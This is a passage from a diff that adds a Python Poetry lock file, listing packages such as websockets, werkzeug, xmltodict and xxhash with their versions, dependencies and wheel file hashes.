"websockets-15.0.1-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ac017dd64572e5c3bd01939121e4d16cf30e5d7e110a119399cf3133b63ad054"}, + {file = "websockets-15.0.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:4a9fac8e469d04ce6c25bb2610dc535235bd4aa14996b4e6dbebf5e007eba5ee"}, + {file = "websockets-15.0.1-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:363c6f671b761efcb30608d24925a382497c12c506b51661883c3e22337265ed"}, + {file = "websockets-15.0.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:2034693ad3097d5355bfdacfffcbd3ef5694f9718ab7f29c29689a9eae841880"}, + {file = "websockets-15.0.1-cp39-cp39-win32.whl", hash = "sha256:3b1ac0d3e594bf121308112697cf4b32be538fb1444468fb0a6ae4feebc83411"}, + {file = "websockets-15.0.1-cp39-cp39-win_amd64.whl", hash = "sha256:b7643a03db5c95c799b89b31c036d5f27eeb4d259c798e878d6937d71832b1e4"}, + {file = "websockets-15.0.1-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:0c9e74d766f2818bb95f84c25be4dea09841ac0f734d1966f415e4edfc4ef1c3"}, + {file = "websockets-15.0.1-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:1009ee0c7739c08a0cd59de430d6de452a55e42d6b522de7aa15e6f67db0b8e1"}, + {file = "websockets-15.0.1-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:76d1f20b1c7a2fa82367e04982e708723ba0e7b8d43aa643d3dcd404d74f1475"}, + {file = "websockets-15.0.1-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f29d80eb9a9263b8d109135351caf568cc3f80b9928bccde535c235de55c22d9"}, + {file = "websockets-15.0.1-pp310-pypy310_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b359ed09954d7c18bbc1680f380c7301f92c60bf924171629c5db97febb12f04"}, + {file = "websockets-15.0.1-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:cad21560da69f4ce7658ca2cb83138fb4cf695a2ba3e475e0559e05991aa8122"}, + {file = "websockets-15.0.1-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:7f493881579c90fc262d9cdbaa05a6b54b3811c2f300766748db79f098db9940"}, + {file = "websockets-15.0.1-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:47b099e1f4fbc95b701b6e85768e1fcdaf1630f3cbe4765fa216596f12310e2e"}, + {file = "websockets-15.0.1-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:67f2b6de947f8c757db2db9c71527933ad0019737ec374a8a6be9a956786aaf9"}, + {file = "websockets-15.0.1-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d08eb4c2b7d6c41da6ca0600c077e93f5adcfd979cd777d747e9ee624556da4b"}, + {file = "websockets-15.0.1-pp39-pypy39_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4b826973a4a2ae47ba357e4e82fa44a463b8f168e1ca775ac64521442b19e87f"}, + {file = "websockets-15.0.1-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:21c1fa28a6a7e3cbdc171c694398b6df4744613ce9b36b1a498e816787e28123"}, + {file = "websockets-15.0.1-py3-none-any.whl", hash = "sha256:f7a866fbc1e97b5c617ee4116daaa09b722101d4a3c170c787450ba409f9736f"}, + {file = "websockets-15.0.1.tar.gz", hash = "sha256:82544de02076bafba038ce055ee6412d68da13ab47f0c60cab827346de828dee"}, +] + +[[package]] +name = "werkzeug" +version = "3.1.8" +description = "The comprehensive WSGI web application library." +optional = false +python-versions = ">=3.9" +groups = ["dev"] +files = [ + {file = "werkzeug-3.1.8-py3-none-any.whl", hash = "sha256:63a77fb8892bf28ebc3178683445222aa500e48ebad5ec77b0ad80f8726b1f50"}, + {file = "werkzeug-3.1.8.tar.gz", hash = "sha256:9bad61a4268dac112f1c5cd4630a56ede601b6ed420300677a869083d70a4c44"}, +] + +[package.dependencies] +markupsafe = ">=2.1.1" + +[package.extras] +watchdog = ["watchdog (>=2.3)"] + +[[package]] +name = "wordninja" +version = "2.0.0" +description = "Probabilistically split concatenated words using NLP based on English Wikipedia uni-gram frequencies." +optional = false +python-versions = "*" +groups = ["main"] +files = [ + {file = "wordninja-2.0.0.tar.gz", hash = "sha256:1a1cc7ec146ad19d6f71941ee82aef3d31221700f0d8bf844136cf8df79d281a"}, +] + +[[package]] +name = "xmltodict" +version = "0.14.2" +description = "Makes working with XML feel like you are working with JSON" +optional = false +python-versions = ">=3.6" +groups = ["main"] +files = [ + {file = "xmltodict-0.14.2-py2.py3-none-any.whl", hash = "sha256:20cc7d723ed729276e808f26fb6b3599f786cbc37e06c65e192ba77c40f20aac"}, + {file = "xmltodict-0.14.2.tar.gz", hash = "sha256:201e7c28bb210e374999d1dde6382923ab0ed1a8a5faeece48ab525b7810a553"}, +] + +[[package]] +name = "xmltojson" +version = "2.0.3" +description = "A Python module and cli tool to quickly convert xml text or files into json" +optional = false +python-versions = "<4.0,>=3.7" +groups = ["main"] +files = [ + {file = "xmltojson-2.0.3-py3-none-any.whl", hash = "sha256:1b68519bd14fbf3e28baa630b8c9116b5d3aa8976648f277a78ae3448498889a"}, + {file = "xmltojson-2.0.3.tar.gz", hash = "sha256:68a0022272adf70b8f2639186172c808e9502cd03c0b851a65e0760561c7801d"}, +] + +[package.dependencies] +xmltodict = "0.14.2" + +[[package]] +name = "xxhash" +version = "3.6.0" +description = "Python binding for xxHash" +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "xxhash-3.6.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:87ff03d7e35c61435976554477a7f4cd1704c3596a89a8300d5ce7fc83874a71"}, + {file = "xxhash-3.6.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:f572dfd3d0e2eb1a57511831cf6341242f5a9f8298a45862d085f5b93394a27d"}, + {file = "xxhash-3.6.0-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:89952ea539566b9fed2bbd94e589672794b4286f342254fad28b149f9615fef8"}, + {file = "xxhash-3.6.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:48e6f2ffb07a50b52465a1032c3cf1f4a5683f944acaca8a134a2f23674c2058"}, + {file = "xxhash-3.6.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b5b848ad6c16d308c3ac7ad4ba6bede80ed5df2ba8ed382f8932df63158dd4b2"}, + {file = "xxhash-3.6.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a034590a727b44dd8ac5914236a7b8504144447a9682586c3327e935f33ec8cc"}, + {file = "xxhash-3.6.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8a8f1972e75ebdd161d7896743122834fe87378160c20e97f8b09166213bf8cc"}, + {file = "xxhash-3.6.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:ee34327b187f002a596d7b167ebc59a1b729e963ce645964bbc050d2f1b73d07"}, + {file = "xxhash-3.6.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:339f518c3c7a850dd033ab416ea25a692759dc7478a71131fe8869010d2b75e4"}, + {file = "xxhash-3.6.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:bf48889c9630542d4709192578aebbd836177c9f7a4a2778a7d6340107c65f06"}, + {file = "xxhash-3.6.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:5576b002a56207f640636056b4160a378fe36a58db73ae5c27a7ec8db35f71d4"}, + {file = "xxhash-3.6.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:af1f3278bd02814d6dedc5dec397993b549d6f16c19379721e5a1d31e132c49b"}, + {file = "xxhash-3.6.0-cp310-cp310-win32.whl", hash = "sha256:aed058764db109dc9052720da65fafe84873b05eb8b07e5e653597951af57c3b"}, + {file = "xxhash-3.6.0-cp310-cp310-win_amd64.whl", hash = "sha256:e82da5670f2d0d98950317f82a0e4a0197150ff19a6df2ba40399c2a3b9ae5fb"}, + {file = "xxhash-3.6.0-cp310-cp310-win_arm64.whl", hash = "sha256:4a082ffff8c6ac07707fb6b671caf7c6e020c75226c561830b73d862060f281d"}, + {file = "xxhash-3.6.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b47bbd8cf2d72797f3c2772eaaac0ded3d3af26481a26d7d7d41dc2d3c46b04a"}, + {file = "xxhash-3.6.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2b6821e94346f96db75abaa6e255706fb06ebd530899ed76d32cd99f20dc52fa"}, + {file = "xxhash-3.6.0-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:d0a9751f71a1a65ce3584e9cae4467651c7e70c9d31017fa57574583a4540248"}, + {file = "xxhash-3.6.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8b29ee68625ab37b04c0b40c3fafdf24d2f75ccd778333cfb698f65f6c463f62"}, + {file = "xxhash-3.6.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:6812c25fe0d6c36a46ccb002f40f27ac903bf18af9f6dd8f9669cb4d176ab18f"}, + {file = "xxhash-3.6.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4ccbff013972390b51a18ef1255ef5ac125c92dc9143b2d1909f59abc765540e"}, + {file = "xxhash-3.6.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:297b7fbf86c82c550e12e8fb71968b3f033d27b874276ba3624ea868c11165a8"}, + {file = "xxhash-3.6.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:dea26ae1eb293db089798d3973a5fc928a18fdd97cc8801226fae705b02b14b0"}, + {file = "xxhash-3.6.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:7a0b169aafb98f4284f73635a8e93f0735f9cbde17bd5ec332480484241aaa77"}, + {file = "xxhash-3.6.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:08d45aef063a4531b785cd72de4887766d01dc8f362a515693df349fdb825e0c"}, + {file = "xxhash-3.6.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:929142361a48ee07f09121fe9e96a84950e8d4df3bb298ca5d88061969f34d7b"}, + {file = "xxhash-3.6.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:51312c768403d8540487dbbfb557454cfc55589bbde6424456951f7fcd4facb3"}, + {file = "xxhash-3.6.0-cp311-cp311-win32.whl", hash = "sha256:d1927a69feddc24c987b337ce81ac15c4720955b667fe9b588e02254b80446fd"}, + {file = "xxhash-3.6.0-cp311-cp311-win_amd64.whl", hash = "sha256:26734cdc2d4ffe449b41d186bbeac416f704a482ed835d375a5c0cb02bc63fef"}, + {file = "xxhash-3.6.0-cp311-cp311-win_arm64.whl", hash = "sha256:d72f67ef8bf36e05f5b6c65e8524f265bd61071471cd4cf1d36743ebeeeb06b7"}, + {file = "xxhash-3.6.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:01362c4331775398e7bb34e3ab403bc9ee9f7c497bc7dee6272114055277dd3c"}, + {file = "xxhash-3.6.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:b7b2df81a23f8cb99656378e72501b2cb41b1827c0f5a86f87d6b06b69f9f204"}, + {file = "xxhash-3.6.0-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:dc94790144e66b14f67b10ac8ed75b39ca47536bf8800eb7c24b50271ea0c490"}, + {file = "xxhash-3.6.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:93f107c673bccf0d592cdba077dedaf52fe7f42dcd7676eba1f6d6f0c3efffd2"}, + {file = "xxhash-3.6.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2aa5ee3444c25b69813663c9f8067dcfaa2e126dc55e8dddf40f4d1c25d7effa"}, + {file = "xxhash-3.6.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f7f99123f0e1194fa59cc69ad46dbae2e07becec5df50a0509a808f90a0f03f0"}, + {file = "xxhash-3.6.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:49e03e6fe2cac4a1bc64952dd250cf0dbc5ef4ebb7b8d96bce82e2de163c82a2"}, + {file = "xxhash-3.6.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:bd17fede52a17a4f9a7bc4472a5867cb0b160deeb431795c0e4abe158bc784e9"}, + {file = "xxhash-3.6.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:6fb5f5476bef678f69db04f2bd1efbed3030d2aba305b0fc1773645f187d6a4e"}, + {file = "xxhash-3.6.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:843b52f6d88071f87eba1631b684fcb4b2068cd2180a0224122fe4ef011a9374"}, + {file = "xxhash-3.6.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:7d14a6cfaf03b1b6f5f9790f76880601ccc7896aff7ab9cd8978a939c1eb7e0d"}, + {file = "xxhash-3.6.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:418daf3db71e1413cfe211c2f9a528456936645c17f46b5204705581a45390ae"}, + {file = "xxhash-3.6.0-cp312-cp312-win32.whl", hash = "sha256:50fc255f39428a27299c20e280d6193d8b63b8ef8028995323bf834a026b4fbb"}, + {file = "xxhash-3.6.0-cp312-cp312-win_amd64.whl", hash = "sha256:c0f2ab8c715630565ab8991b536ecded9416d615538be8ecddce43ccf26cbc7c"}, + {file = "xxhash-3.6.0-cp312-cp312-win_arm64.whl", hash = "sha256:eae5c13f3bc455a3bbb68bdc513912dc7356de7e2280363ea235f71f54064829"}, + {file = "xxhash-3.6.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:599e64ba7f67472481ceb6ee80fa3bd828fd61ba59fb11475572cc5ee52b89ec"}, + {file = "xxhash-3.6.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:7d8b8aaa30fca4f16f0c84a5c8d7ddee0e25250ec2796c973775373257dde8f1"}, + {file = "xxhash-3.6.0-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:d597acf8506d6e7101a4a44a5e428977a51c0fadbbfd3c39650cca9253f6e5a6"}, + {file = "xxhash-3.6.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:858dc935963a33bc33490128edc1c12b0c14d9c7ebaa4e387a7869ecc4f3e263"}, + {file = "xxhash-3.6.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ba284920194615cb8edf73bf52236ce2e1664ccd4a38fdb543506413529cc546"}, + {file = "xxhash-3.6.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4b54219177f6c6674d5378bd862c6aedf64725f70dd29c472eaae154df1a2e89"}, + {file = "xxhash-3.6.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:42c36dd7dbad2f5238950c377fcbf6811b1cdb1c444fab447960030cea60504d"}, + {file = "xxhash-3.6.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f22927652cba98c44639ffdc7aaf35828dccf679b10b31c4ad72a5b530a18eb7"}, + {file = "xxhash-3.6.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:b45fad44d9c5c119e9c6fbf2e1c656a46dc68e280275007bbfd3d572b21426db"}, + {file = "xxhash-3.6.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:6f2580ffab1a8b68ef2b901cde7e55fa8da5e4be0977c68f78fc80f3c143de42"}, + {file = "xxhash-3.6.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:40c391dd3cd041ebc3ffe6f2c862f402e306eb571422e0aa918d8070ba31da11"}, + {file = "xxhash-3.6.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:f205badabde7aafd1a31e8ca2a3e5a763107a71c397c4481d6a804eb5063d8bd"}, + {file = "xxhash-3.6.0-cp313-cp313-win32.whl", hash = "sha256:2577b276e060b73b73a53042ea5bd5203d3e6347ce0d09f98500f418a9fcf799"}, + {file = "xxhash-3.6.0-cp313-cp313-win_amd64.whl", hash = "sha256:757320d45d2fbcce8f30c42a6b2f47862967aea7bf458b9625b4bbe7ee390392"}, + {file = "xxhash-3.6.0-cp313-cp313-win_arm64.whl", hash = "sha256:457b8f85dec5825eed7b69c11ae86834a018b8e3df5e77783c999663da2f96d6"}, + {file = "xxhash-3.6.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:a42e633d75cdad6d625434e3468126c73f13f7584545a9cf34e883aa1710e702"}, + {file = "xxhash-3.6.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:568a6d743219e717b07b4e03b0a828ce593833e498c3b64752e0f5df6bfe84db"}, + {file = "xxhash-3.6.0-cp313-cp313t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:bec91b562d8012dae276af8025a55811b875baace6af510412a5e58e3121bc54"}, + {file = "xxhash-3.6.0-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:78e7f2f4c521c30ad5e786fdd6bae89d47a32672a80195467b5de0480aa97b1f"}, + {file = "xxhash-3.6.0-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:3ed0df1b11a79856df5ffcab572cbd6b9627034c1c748c5566fa79df9048a7c5"}, + {file = "xxhash-3.6.0-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:0e4edbfc7d420925b0dd5e792478ed393d6e75ff8fc219a6546fb446b6a417b1"}, + {file = "xxhash-3.6.0-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fba27a198363a7ef87f8c0f6b171ec36b674fe9053742c58dd7e3201c1ab30ee"}, + {file = "xxhash-3.6.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:794fe9145fe60191c6532fa95063765529770edcdd67b3d537793e8004cabbfd"}, + {file = "xxhash-3.6.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:6105ef7e62b5ac73a837778efc331a591d8442f8ef5c7e102376506cb4ae2729"}, + {file = "xxhash-3.6.0-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:f01375c0e55395b814a679b3eea205db7919ac2af213f4a6682e01220e5fe292"}, + {file = "xxhash-3.6.0-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:d706dca2d24d834a4661619dcacf51a75c16d65985718d6a7d73c1eeeb903ddf"}, + {file = "xxhash-3.6.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:5f059d9faeacd49c0215d66f4056e1326c80503f51a1532ca336a385edadd033"}, + {file = "xxhash-3.6.0-cp313-cp313t-win32.whl", hash = "sha256:1244460adc3a9be84731d72b8e80625788e5815b68da3da8b83f78115a40a7ec"}, + {file = "xxhash-3.6.0-cp313-cp313t-win_amd64.whl", hash = "sha256:b1e420ef35c503869c4064f4a2f2b08ad6431ab7b229a05cce39d74268bca6b8"}, + {file = "xxhash-3.6.0-cp313-cp313t-win_arm64.whl", hash = "sha256:ec44b73a4220623235f67a996c862049f375df3b1052d9899f40a6382c32d746"}, + {file = "xxhash-3.6.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:a40a3d35b204b7cc7643cbcf8c9976d818cb47befcfac8bbefec8038ac363f3e"}, + {file = "xxhash-3.6.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:a54844be970d3fc22630b32d515e79a90d0a3ddb2644d8d7402e3c4c8da61405"}, + {file = "xxhash-3.6.0-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:016e9190af8f0a4e3741343777710e3d5717427f175adfdc3e72508f59e2a7f3"}, + {file = "xxhash-3.6.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4f6f72232f849eb9d0141e2ebe2677ece15adfd0fa599bc058aad83c714bb2c6"}, + {file = "xxhash-3.6.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:63275a8aba7865e44b1813d2177e0f5ea7eadad3dd063a21f7cf9afdc7054063"}, + {file = "xxhash-3.6.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:3cd01fa2aa00d8b017c97eb46b9a794fbdca53fc14f845f5a328c71254b0abb7"}, + {file = "xxhash-3.6.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0226aa89035b62b6a86d3c68df4d7c1f47a342b8683da2b60cedcddb46c4d95b"}, + {file = "xxhash-3.6.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:c6e193e9f56e4ca4923c61238cdaced324f0feac782544eb4c6d55ad5cc99ddd"}, + {file = "xxhash-3.6.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:9176dcaddf4ca963d4deb93866d739a343c01c969231dbe21680e13a5d1a5bf0"}, + {file = "xxhash-3.6.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:c1ce4009c97a752e682b897aa99aef84191077a9433eb237774689f14f8ec152"}, + {file = "xxhash-3.6.0-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:8cb2f4f679b01513b7adbb9b1b2f0f9cdc31b70007eaf9d59d0878809f385b11"}, + {file = "xxhash-3.6.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:653a91d7c2ab54a92c19ccf43508b6a555440b9be1bc8be553376778be7f20b5"}, + {file = "xxhash-3.6.0-cp314-cp314-win32.whl", hash = "sha256:a756fe893389483ee8c394d06b5ab765d96e68fbbfe6fde7aa17e11f5720559f"}, + {file = "xxhash-3.6.0-cp314-cp314-win_amd64.whl", hash = "sha256:39be8e4e142550ef69629c9cd71b88c90e9a5db703fecbcf265546d9536ca4ad"}, + {file = "xxhash-3.6.0-cp314-cp314-win_arm64.whl", hash = "sha256:25915e6000338999236f1eb68a02a32c3275ac338628a7eaa5a269c401995679"}, + {file = "xxhash-3.6.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:c5294f596a9017ca5a3e3f8884c00b91ab2ad2933cf288f4923c3fd4346cf3d4"}, + {file = "xxhash-3.6.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1cf9dcc4ab9cff01dfbba78544297a3a01dafd60f3bde4e2bfd016cf7e4ddc67"}, + {file = "xxhash-3.6.0-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:01262da8798422d0685f7cef03b2bd3f4f46511b02830861df548d7def4402ad"}, + {file = "xxhash-3.6.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:51a73fb7cb3a3ead9f7a8b583ffd9b8038e277cdb8cb87cf890e88b3456afa0b"}, + {file = "xxhash-3.6.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b9c6df83594f7df8f7f708ce5ebeacfc69f72c9fbaaababf6cf4758eaada0c9b"}, + {file = "xxhash-3.6.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:627f0af069b0ea56f312fd5189001c24578868643203bca1abbc2c52d3a6f3ca"}, + {file = "xxhash-3.6.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:aa912c62f842dfd013c5f21a642c9c10cd9f4c4e943e0af83618b4a404d9091a"}, + {file = "xxhash-3.6.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:b465afd7909db30168ab62afe40b2fcf79eedc0b89a6c0ab3123515dc0df8b99"}, + {file = "xxhash-3.6.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:a881851cf38b0a70e7c4d3ce81fc7afd86fbc2a024f4cfb2a97cf49ce04b75d3"}, + {file = "xxhash-3.6.0-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:9b3222c686a919a0f3253cfc12bb118b8b103506612253b5baeaac10d8027cf6"}, + {file = "xxhash-3.6.0-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:c5aa639bc113e9286137cec8fadc20e9cd732b2cc385c0b7fa673b84fc1f2a93"}, + {file = "xxhash-3.6.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5c1343d49ac102799905e115aee590183c3921d475356cb24b4de29a4bc56518"}, + {file = "xxhash-3.6.0-cp314-cp314t-win32.whl", hash = "sha256:5851f033c3030dd95c086b4a36a2683c2ff4a799b23af60977188b057e467119"}, + {file = "xxhash-3.6.0-cp314-cp314t-win_amd64.whl", hash = "sha256:0444e7967dac37569052d2409b00a8860c2135cff05502df4da80267d384849f"}, + {file = "xxhash-3.6.0-cp314-cp314t-win_arm64.whl", hash = "sha256:bb79b1e63f6fd84ec778a4b1916dfe0a7c3fdb986c06addd5db3a0d413819d95"}, + {file = "xxhash-3.6.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:7dac94fad14a3d1c92affb661021e1d5cbcf3876be5f5b4d90730775ccb7ac41"}, + {file = "xxhash-3.6.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:6965e0e90f1f0e6cb78da568c13d4a348eeb7f40acfd6d43690a666a459458b8"}, + {file = "xxhash-3.6.0-cp38-cp38-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:2ab89a6b80f22214b43d98693c30da66af910c04f9858dd39c8e570749593d7e"}, + {file = "xxhash-3.6.0-cp38-cp38-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4903530e866b7a9c1eadfd3fa2fbe1b97d3aed4739a80abf506eb9318561c850"}, + {file = "xxhash-3.6.0-cp38-cp38-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:4da8168ae52c01ac64c511d6f4a709479da8b7a4a1d7621ed51652f93747dffa"}, + {file = "xxhash-3.6.0-cp38-cp38-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:97460eec202017f719e839a0d3551fbc0b2fcc9c6c6ffaa5af85bbd5de432788"}, + {file = "xxhash-3.6.0-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:45aae0c9df92e7fa46fbb738737324a563c727990755ec1965a6a339ea10a1df"}, + {file = "xxhash-3.6.0-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:0d50101e57aad86f4344ca9b32d091a2135a9d0a4396f19133426c88025b09f1"}, + {file = "xxhash-3.6.0-cp38-cp38-musllinux_1_2_i686.whl", hash = "sha256:9085e798c163ce310d91f8aa6b325dda3c2944c93c6ce1edb314030d4167cc65"}, + {file = "xxhash-3.6.0-cp38-cp38-musllinux_1_2_ppc64le.whl", hash = "sha256:a87f271a33fad0e5bf3be282be55d78df3a45ae457950deb5241998790326f87"}, + {file = "xxhash-3.6.0-cp38-cp38-musllinux_1_2_s390x.whl", hash = "sha256:9e040d3e762f84500961791fa3709ffa4784d4dcd7690afc655c095e02fff05f"}, + {file = "xxhash-3.6.0-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:b0359391c3dad6de872fefb0cf5b69d55b0655c55ee78b1bb7a568979b2ce96b"}, + {file = "xxhash-3.6.0-cp38-cp38-win32.whl", hash = "sha256:e4ff728a2894e7f436b9e94c667b0f426b9c74b71f900cf37d5468c6b5da0536"}, + {file = "xxhash-3.6.0-cp38-cp38-win_amd64.whl", hash = "sha256:01be0c5b500c5362871fc9cfdf58c69b3e5c4f531a82229ddb9eb1eb14138004"}, + {file = "xxhash-3.6.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = 